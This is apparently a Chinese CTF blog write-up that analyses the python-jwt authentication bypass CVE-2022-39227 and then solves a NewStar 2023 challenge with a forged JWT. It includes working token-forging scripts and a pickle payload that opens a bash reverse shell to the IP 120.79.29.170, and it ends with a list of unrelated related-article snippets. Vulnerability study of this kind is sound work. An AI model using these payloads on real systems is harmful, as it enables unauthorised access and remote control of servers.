记CVE-2022-39227-Python-JWT漏洞
文章目录
- 前言
- 影响版本
- 漏洞分析
- Newstar2023 Week5
- 总结
前言
在Asal1n师傅的随口一说之下,说newstar week5出了一道祥云杯一样的CVE,于是自己也是跑去看了一下,确实是自己不知道的一个CVE漏洞,于是就从这道题学习到了python-jwt库中的身份验证绕过漏洞,顺带做了一下简单的代码分析。
影响版本
python-jwt < 3.3.4
漏洞分析
这个漏洞造成的原因更像是库的作者在编写代码的时候疏忽导致的,使得验证的payload内容和返回的payload内容并不是一个payload导致的,下面来简单分析一下。
先给出github上作者漏洞修补的大致payload,利用payload进行测试,如下:
python-jwt库地址
from json import *
from python_jwt import *
from jwcrypto import jwkpayload = {'role': "guest"}
key = jwk.JWK.generate(kty='oct', size=256)
jwt_json = generate_jwt(payload, key, 'HS256', timedelta(minutes=60))
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "admin"
fake = base64url_encode((dumps(parsed_payload,separators=(',', ':'))))#这里separators就是消除了空格,不加似乎也并不影响漏洞。
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)
token = verify_jwt(fake_jwt, key, ['HS256'])
print(token)
- 首先是刚进入前面的代码。
#判断是否存在可用的签名算法if allowed_algs is None:allowed_algs = []
#如果可用的签名算法不是列表,抛出异常if not isinstance(allowed_algs, list):# jwcrypto only supports list of allowed algorithmsraise _JWTError('allowed_algs must be a list')
#以.分割jwt的三部分header, claims, _ = jwt.split('.')
#取出头部分进行base64解码和json解析parsed_header = json_decode(base64url_decode(header))
#取出头部算法中的alg参数,此处就是PS256,如果为空或算法不允许,则抛出异常alg = parsed_header.get('alg')if alg is None:raise _JWTError('alg header not present')if alg not in allowed_algs:raise _JWTError('algorithm not allowed: ' + alg)
#ignore_not_implemented默认就是False,遍历头部的键,是否在被JWS所支持,不支持抛出异常if not ignore_not_implemented:for k in parsed_header:if k not in JWSHeaderRegistry:raise _JWTError('unknown header: ' + k)if not JWSHeaderRegistry[k].supported:raise _JWTError('header not implemented: ' + k)
#对签名进行验证,对jwt进行解析,这里传入的jwt为原始的jwt字段if pub_key:token = JWS()token.allowed_algs = allowed_algstoken.deserialize(jwt, pub_key)
这里的
base64url_decode()
是一个用于解码Base64 URL安全编码的函数。
Base64 URL安全编码将标准的Base64编码进行了一些修改,以便在URL中传输时不会产生冲突。
具体而言,它使用"-“替换”+“,使用”_“替换”/“,并且将结尾的”="去除,并且会忽略掉不是base64的字符。
- 进入到
deserialize
中对签名进行验证,代码如下:
def deserialize(self, raw_jws, key=None, alg=None):self.objects = {}o = {}try:try:#对传入的原始的jwt进行json解析djws = json_decode(raw_jws)#判断是否有多个签名,有则取出签名存放到列表当中if 'signatures' in djws:o['signatures'] = []for s in djws['signatures']:os = self._deserialize_signature(s)o['signatures'].append(os)self._deserialize_b64(o, os.get('protected'))#单个签名的情况,直接从原始的jwt中取出签名字段,并且将protected以及header赋值给o对象返回else:o = self._deserialize_signature(djws)self._deserialize_b64(o, o.get('protected'))#是否继续base64解码if 'payload' in djws:#解析payload字段if o.get('b64', True):o['payload'] = base64url_decode(str(djws['payload']))else:o['payload'] = djws['payload']except ValueError:#如果json解析异常,则直接以. 分割,提取出三个部分分别赋值c = raw_jws.split('.')if len(c) != 3:raise InvalidJWSObject('Unrecognized'' representation') from Nonep = base64url_decode(str(c[0]))if len(p) > 0:o['protected'] = p.decode('utf-8')self._deserialize_b64(o, o['protected'])o['payload'] = base64url_decode(str(c[1]))o['signature'] = base64url_decode(str(c[2]))self.objects = o #将o赋值给objects对象except Exception as e: # pylint: disable=broad-exceptraise InvalidJWSObject('Invalid format') from eif key:self.verify(key, alg)#将签名算法和key传入verify函数中
verify()
函数如下:
def verify(self, key, alg=None, detached_payload=None):self.verifylog = []#默认验证是不通过的self.objects['valid'] = Falseobj = self.objectsmissingkey = Falseif 'signature' in obj:payload = self._get_obj_payload(obj, detached_payload)#直接提取出payload部分#直至这里,传入的解析部分还是原本正常的jwt的字符串,所以_verify也是通过的,将验证生效设置为了truetry:self._verify(alg, key,payload,obj['signature'],obj.get('protected', None),obj.get('header', None))obj['valid'] = Trueexcept Exception as e: # pylint: disable=broad-exceptif isinstance(e, JWKeyNotFound):missingkey = Trueself.verifylog.append('Failed: [%s]' % repr(e))#多个签名的情况elif 'signatures' in obj:payload = self._get_obj_payload(obj, detached_payload)for o in obj['signatures']:try:self._verify(alg, key,payload,o['signature'],o.get('protected', None),o.get('header', None))# Ok if at least one verifiesobj['valid'] = Trueexcept Exception as e: # pylint: disable=broad-exceptif isinstance(e, JWKeyNotFound):missingkey = Trueself.verifylog.append('Failed: [%s]' % repr(e))else:raise InvalidJWSSignature('No signatures available')#如果签名验证不通过,抛出异常if not self.is_valid:if missingkey:raise JWKeyNotFound('No working key found in key set')raise InvalidJWSSignature('Verification failed for all ''signatures' + repr(self.verifylog))
这里经过验证码后的token其实是原本正常的jwt,跟伪造的payload还没有关系
- 代码继续往下走
#json解析.分割出来的中间部分,即我们而已构造的payloadparsed_claims = json_decode(base64url_decode(claims))#获取一些时间参数utcnow = datetime.utcnow()now = timegm(utcnow.utctimetuple())
#从header头中获取到类型JWT,并进行一些判断,不为JWT抛出异常typ = parsed_header.get('typ')if typ is None:if not checks_optional:raise _JWTError('typ header not present')elif typ != 'JWT':raise _JWTError('typ header is not JWT')
#从fakepayload中获取到iat的值即时间戳,判断令牌的签发时间是否有效iat = parsed_claims.get('iat')if iat is None:if not checks_optional:raise _JWTError('iat claim not present')elif iat > timegm((utcnow + iat_skew).utctimetuple()):raise _JWTError('issued in the future')
#获取jwt令牌的生效时间,此时是否有效nbf = parsed_claims.get('nbf')if nbf is None:if not checks_optional:raise _JWTError('nbf claim not present')elif nbf > now:raise _JWTError('not yet valid')
# 获取到令牌的过期即有效截止时间,判断令牌是否有效,如果小于现在时间,则过期exp = parsed_claims.get('exp')if exp is None:if not checks_optional:raise _JWTError('exp claim not present')elif exp <= now:raise _JWTError('expired')
# 返回.分割后的头部和中间部分即我们的fakepayloadreturn parsed_header, parsed_claims
可以看出,在验证令牌的时候使用的是正常的JWT,而返回的却是以
.
分割的传入jwt的中间部分和头部,使得解析返回的payload和验证签名的pauload并不是一个payload,导致了身份绕过。
Newstar2023 Week5
题目给了源码如下:
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *app = Flask(__name__)def generate_random_string(length=16):characters = string.ascii_letters + string.digits # 包含字母和数字random_string = ''.join(random.choice(characters) for _ in range(length))return random_stringapp.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)@app.route("/")
def index():payload = request.args.get("token")if payload:token = verify_jwt(payload, key, ['PS256'])print(token)session["role"] = token[1]['role']return render_template('index.html')else:session["role"] = "guest"user = {"username": "boogipop", "role": "guest"}jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))return jwt@app.route("/pickle")
def unser():if session["role"] == "admin":pickle.loads(base64.b64decode(request.args.get("pickle")))return 'success'else:return 'fail'if __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)
题目的思路也是十分简单,通过伪造JWT,使得返回来的fake_payload中第二部分的role和admin,然后进行pickle反序列化即可。
- 利用原题目guest的jwwt直接进行伪造,绕过身份验证
from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decodedef topic(topic):[header, payload, signature] = topic.split('.')parsed_payload = loads(base64url_decode(payload))print(parsed_payload)parsed_payload["role"] = "admin"print(dumps(parsed_payload, separators=(',', ':')))fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))print(fake_payload)return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} 'print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTkzNjkyMzcsImlhdCI6MTY5OTM2NTYzNywianRpIjoiTUV0SEJKX1JZeVR3MmhnUmZMcnFsdyIsIm5iZiI6MTY5OTM2NTYzNywicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.nw0s5c4lL0GtUBb7IJTbIhVTE7kzNg7s4l93PrhWZmYKuxWCyZmi7cKWE63Tv3Z6sdUQVp_7IlM8yiY32mNSOwRHCADWllFo18bmlXVri_qdWR-CCVkVi6npIliEBXl_Hbpnh64dCIQuY13-gr0Y412svenGADO-uubqxT3Ml7dlpnaDZ7F06ISkg_m4syc0DQpKKuQv4xFshMYHgaxCCkLpJCMHScIxSjSjoxpD3LnNjYRXgVue8R4TcZ75ZWgaSmkNUmHUrizdTFyi0GVutnaT1Nw4yZKkS5DZxAVUYqcARLUSGvWmt1pZnyny0eR23q7Z8X7Mw-LytE-XfmkAFQ'))
- 这里返回的session就是admin的session
- 触发pickle反序列化,反弹shell
import base64p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/120.79.29.170/5555 0>&1\"'\no"
payload=base64.b64encode(p)
print(payload)
总结
JWT的话题总是不息的,包括一些空认证等,nodejs中的数组绕过等等,漏洞也是频出。
相关文章:

记CVE-2022-39227-Python-JWT漏洞
文章目录 前言影响版本漏洞分析Newstar2023 Week5总结 前言 在Asal1n师傅的随口一说之下,说newstar week5出了一道祥云杯一样的CVE,于是自己也是跑去看了一下,确实是自己不知道的一个CVE漏洞,于是就从这道题学习到了python-jwt库…...

软件测试/测试开发丨如何利用ChatGPT自动生成测试用例思维导图
点此获取更多相关资料 简介 思维导图是一种用图形方式表示思维和概念之间关系的工具: 有些公司会使用思维导图编写测试用例,这样做的优点是: 1.可视化和结构化。 2.易于理解,提高效率。 而 ChatGPT 是无法直接生成 xmind 格式…...

【编程语言发展史】Unity开发语言的历史发展
Unity开发前期版本时,使用的是一种名为UnityScript的类似JavaScript的语言。然而,随着时间的推移,开发者社区大多数人都倾向于使用C#进行开发,Unity决定将重点放在C#上,因为C#具有更强大的生态系统、更好的性能和更广泛…...
springboot http添加请求头 添加请求证书
首先明确两个事情:请求对象,连接对象 我们知道你要是想发起一个请求,需要指定两个环节内容,一个是请求内容对象(request),一个是连接内容对象(httpClient) 它们两个的作用我们在下面会看到 简要分析源码 1.先说一下…...
【Qt之数据库操作】
使用Qt实现SQLite数据库操作可以分为以下几个步骤: 添加SQLite头文件和库文件: 在Qt项目中,需要在.pro文件中添加以下内容: QT sql打开/创建数据库: 可以使用QSqlDatabase类中的静态函数addDatabase()来添加数据库…...

数据结构(c语言版) 队列
链队列 要求:实现链队列的创建、初始化、入队、出队 (先进先出) 代码 // // Created by My.cy on 2023/10/19. // //链队列 创建、初始化、入队、出队 先进先出#include <stdio.h> #include <malloc.h>//定义结构体 struct…...

kimera论文阅读
文章目录 功能构成:Kimera线程A. Kimera-VIO:B. Kimera-RPGO:C. Kimera-Mesher:D. Kimera-Semantics:E.调试工具 功能构成: Kimera包括四个关键模块: Kimera-VIO的核心是基于gtsam的VIO方法[45],使用IMUpreintegration和无结构视觉因子[27]…...
golang gorm通过泛型实现通用单表增删改
golang gorm通过泛型实现通用单表增删改 无废话,直接上代码 想实现通用,首先得实现查询的通用,可以用传递map实现 func Where(where map[string]interface{}) func(db *gorm.DB) *gorm.DB {return func(db *gorm.DB) *gorm.DB {dbTmp : db…...
十、K8S之ConfigMap
ConfigMap 一、概念 在K8S中,ConfigMap是一种用于存储配置数据的API对象,一般用于存储Pod中应用所需的一些配置信息,或者环境变量。将配置于 Pod 分开,避免应为修改配置导致还需要重新构建 镜像与容器。 二、创建 可以使用 ku…...
python飞书群机器人通过webhook发送消息
python飞书群机器人通过webhook发送消息 import json import loggingimport requestslogger logging.getLogger(__name__) logging.basicConfig(levellogging.DEBUG)class FeishuTalk:"""飞书群机器人通过webhook发送消息"""def __init__(self…...

埃隆·马斯克的 AI 聊天机器人 Grok 已经上线
昨天,埃隆马斯克 (Elon Musk) 通过他的公司 xAI 推出了一款名为 Grok 的新型人工智能聊天机器人。这款新的聊天机器人将通过 Twitter 更新实时获取世界知识,使其成为最新的对话 AI 系统。 Grok 的独特和基本优势在于它可以通过 𝕏 平台实时了…...

【代码随想录】算法训练营 第十五天 第六章 二叉树 Part 2
102. 二叉树的层序遍历 层序遍历,就是一层一层地遍历二叉树,最常见的就是从上到下,从左到右来遍历,遍历的方法依然有两种,第一种是借助队列,第二种则是递归,都算是很简单、很容易理解的方法&am…...

使用ssl_certificate_by_lua指令动态加载证书
1、下载 OpenResty - 下载 根据自己系统选择下载,我的是64位 2、解压到目录 3、启动openresty 进入解压后的目录,执行nginx.exe 浏览器输入 http://localhost 查看是否正常。显示以下画面就表示没有问题。 接下来可以开始准备动态安装证书 4、使用o…...
Qt中Opencv转Qimage出现重影或者颜色不对
废话不多说 在qt中opencv获取的图像转qimage时出现重影原因: 图像数据的内存对齐可能会导致画面重影,如果出现误差转换出来的图就会出现重影 解决办法: cv::Mat image_bgr cv::imread(“example.jpg”); cv::Mat image_aligned; cv::copyMak…...

upload-labs-1
文章目录 Pass-01 Pass-01 先上传一个正常的图片,查看返回结果,结果中带有文件上传路径,可以进行利用: 上传一个恶意的webshell,里面写入一句话木马: <?php eval($_POST[cmd]); echo "hello&quo…...
【vite配置路径别名@】/启动配置
npm install types/node --save-dev npm install path --save import { defineConfig } from vite import vue from vitejs/plugin-vue // 配置别名 import { resolve } from "path";// https://vitejs.dev/config/ export default defineConfig({plugins: [vue()]…...
3. List
数据结构在Java集合中的对应关系 线性表【数组】 -> ArrayList 线性表【链表】-> LinkedList 队列 -> Queue -> LinkedList,PriorityQueue, ArrayBlockingQueue … etc. 双端队列 -> Deque -> ArrayDeque 栈 -> LinkedList 哈希表 -> Hash…...

Django初窥门径-oauth登录认证
引言 在现代Web应用程序中,用户身份验证和授权是至关重要的组成部分。Django,一个流行的Python Web框架,为用户身份验证提供了内置支持。本文将探讨如何创建和注册Django应用,自定义身份验证服务,配置AUTHENTICATION_…...

数学到底在哪里支撑着编程?
数学到底在哪里支撑着编程? 除了少数算法等明显相关情况外,说点日常的。 编程是个极度依赖逻辑的领域,逻辑严谨性好,你的编程工作会顺畅很多一-绝大多 数的bug都是最近很多小伙伴找我,说想要一些嵌入式的资料&#x…...
Python模块ADB的, 已经 pyadb
Python模块ADB的使用指南_笔记大全_设计学院 (python100.com) pip install adb Python 调用ADB_python 调用adb命令_实相实相的博客-CSDN博客 Python ADB.shell_command Examples, pyadb.ADB.shell_command Python Examples - HotExamples Gitee 极速下载/PyADB - 码云 - 开…...

高等数学(下)题型笔记(八)空间解析几何与向量代数
目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...

BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
6月5日,2025全球数字经济大会数字安全主论坛暨北京网络安全大会在国家会议中心隆重开幕。百度副总裁陈洋受邀出席,并作《智能体在安全领域的应用实践》主题演讲,分享了在智能体在安全领域的突破性实践。他指出,百度通过将安全能力…...
高防服务器能够抵御哪些网络攻击呢?
高防服务器作为一种有着高度防御能力的服务器,可以帮助网站应对分布式拒绝服务攻击,有效识别和清理一些恶意的网络流量,为用户提供安全且稳定的网络环境,那么,高防服务器一般都可以抵御哪些网络攻击呢?下面…...

C++ 设计模式 《小明的奶茶加料风波》
👨🎓 模式名称:装饰器模式(Decorator Pattern) 👦 小明最近上线了校园奶茶配送功能,业务火爆,大家都在加料: 有的同学要加波霸 🟤,有的要加椰果…...
Caliper 配置文件解析:fisco-bcos.json
config.yaml 文件 config.yaml 是 Caliper 的主配置文件,通常包含以下内容: test:name: fisco-bcos-test # 测试名称description: Performance test of FISCO-BCOS # 测试描述workers:type: local # 工作进程类型number: 5 # 工作进程数量monitor:type: - docker- pro…...

PHP 8.5 即将发布:管道操作符、强力调试
前不久,PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5!作为 PHP 语言的又一次重要迭代,PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是,借助强大的本地开发环境 ServBay&am…...
HTML前端开发:JavaScript 获取元素方法详解
作为前端开发者,高效获取 DOM 元素是必备技能。以下是 JS 中核心的获取元素方法,分为两大系列: 一、getElementBy... 系列 传统方法,直接通过 DOM 接口访问,返回动态集合(元素变化会实时更新)。…...
在golang中如何将已安装的依赖降级处理,比如:将 go-ansible/v2@v2.2.0 更换为 go-ansible/@v1.1.7
在 Go 项目中降级 go-ansible 从 v2.2.0 到 v1.1.7 具体步骤: 第一步: 修改 go.mod 文件 // 原 v2 版本声明 require github.com/apenella/go-ansible/v2 v2.2.0 替换为: // 改为 v…...
Vue 3 + WebSocket 实战:公司通知实时推送功能详解
📢 Vue 3 WebSocket 实战:公司通知实时推送功能详解 📌 收藏 点赞 关注,项目中要用到推送功能时就不怕找不到了! 实时通知是企业系统中常见的功能,比如:管理员发布通知后,所有用户…...

Tauri2学习笔记
教程地址:https://www.bilibili.com/video/BV1Ca411N7mF?spm_id_from333.788.player.switch&vd_source707ec8983cc32e6e065d5496a7f79ee6 官方指引:https://tauri.app/zh-cn/start/ 目前Tauri2的教程视频不多,我按照Tauri1的教程来学习&…...